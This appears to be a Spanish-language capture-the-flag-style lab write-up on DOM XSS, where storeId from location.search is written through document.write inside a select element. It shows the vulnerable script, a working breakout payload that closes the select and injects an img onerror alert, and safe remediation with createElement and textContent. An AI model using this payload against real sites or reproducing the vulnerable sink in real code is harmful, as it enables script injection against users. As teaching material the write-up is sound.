← Writeups

DOM XSS in document.write sink using source location.search inside a select element

Explotación de un sink document.write dentro de un elemento select: break out del tag <select> con el parámetro storeId para inyectar un img onerror.

Target Overview & Vulnerability Summary

El laboratorio presenta un DOM XSS en la funcionalidad de stock checker. El JavaScript usa document.write con datos provenientes de location.search (parámetro storeId), y la salida queda encerrada dentro de un elemento <select>. El exploit consiste en cerrar el tag </select> y anexar un handler de error de imagen para ejecutar alert(1).

Campo Valor
Severidad Media-Alta (ejecución de JavaScript en el contexto de la víctima)
Endpoint vulnerable /product (parámetro storeId)
Root cause Sink document.write con datos no sanitizados de location.search concatenados en HTML

Technical Breakdown & Exploitation Flow

1. El sink

<form id="stockCheckForm" action="/product/stock" method="POST">
    <input required type="hidden" name="productId" value="6">
    <script>
        var stores = ["London","Paris","Milan"];
        var store = (new URLSearchParams(window.location.search)).get('storeId');
        document.write('<select name="storeId">');
        if(store) {
            document.write('<option selected>'+store+'</option>');
        }
        for(var i=0;i<stores.length;i++) {
            if(stores[i] === store) {
                continue;
            }
            document.write('<option>'+stores[i]+'</option>');
        }
        document.write('</select>');
    </script>
    <button type="submit" class="button">Check stock</button>
</form>

storeId se extrae del querystring (source location.search) y se concatena sin sanitización dentro de document.write (sink HTML). El valor se inserta como contenido de un <option> — un contexto de texto HTML dentro de un <select>.

2. Comportamiento normal

Solicitando /product?productId=6&storeId=13, el parámetro se refleja como nueva opción del dropdown:

<option selected="">13</option>

DOM resultante:

<script>...</script><select name="storeId"><option selected="">13</option><option>London</option><option>Paris</option><option>Milan</option></select>

3. Payload de break out

Se cierra el <option> y el <select> abiertos y se inserta un <img> con onerror:

product?productId=1&storeId="></select><img src=1 onerror=alert(1)>

La concatenación dentro del document.write produce:

</script><select name="storeId"><option selected="">"&gt;</option></select><img src="1" onerror="alert(1)"><option>London</option><option>Paris</option><option>Milan</option>

El tag </select> escrito por el payload cierra el elemento, y el <img src=1 onerror=alert(1)> queda como nodo hermano. Como src=1 no carga, el evento onerror dispara alert(1).

Versión URL-encoded del parámetro:

/product?productId=1&storeId=%22%3E%3C/select%3E%3Cimg%20src=1%20onerror=alert(1)%3E

Root Cause Analysis

El defecto es doble:

  1. Sink inseguro: document.write interpreta la cadena como HTML. Concatenar datos de location.search (controlados por el usuario) en una plantilla de markup convierte el input en estructura del DOM.
  2. Contexto equivocado: la defensa esperada era que el dato quedara como texto de un <option>, pero al estar el storeId sin codificación, el usuario puede cerrar tags padre. document.write reescribe el documento en medio del parseo, permitiendo inyectar nodos arbitrarios.

El patrón de "escribir HTML a partir de parámetros de URL" es inherentemente vulnerable: el servidor nunca debería delegar la construcción de markup autenticado a JavaScript que consume location.search.

Secure Remediation

  • Evitar document.write para salida de datos. Reemplazarlo por manipulación segura del DOM: textContent para valores, o creación de nodos con document.createElement + appendChild.
  • Para el caso concreto, construir el <select> con opciones generadas programáticamente:
const store = (new URLSearchParams(window.location.search)).get('storeId');
const select = document.createElement('select');
select.name = 'storeId';

const option = document.createElement('option');
option.textContent = store;   // se trata como texto, no como HTML
select.appendChild(option);
// ... resto de opciones del array
  • Validar storeId contra la lista blanca de tiendas existentes (London, Paris, Milan) en el servidor, y usar encodeURIComponent/escapado de contexto si el valor debe viajar en HTML.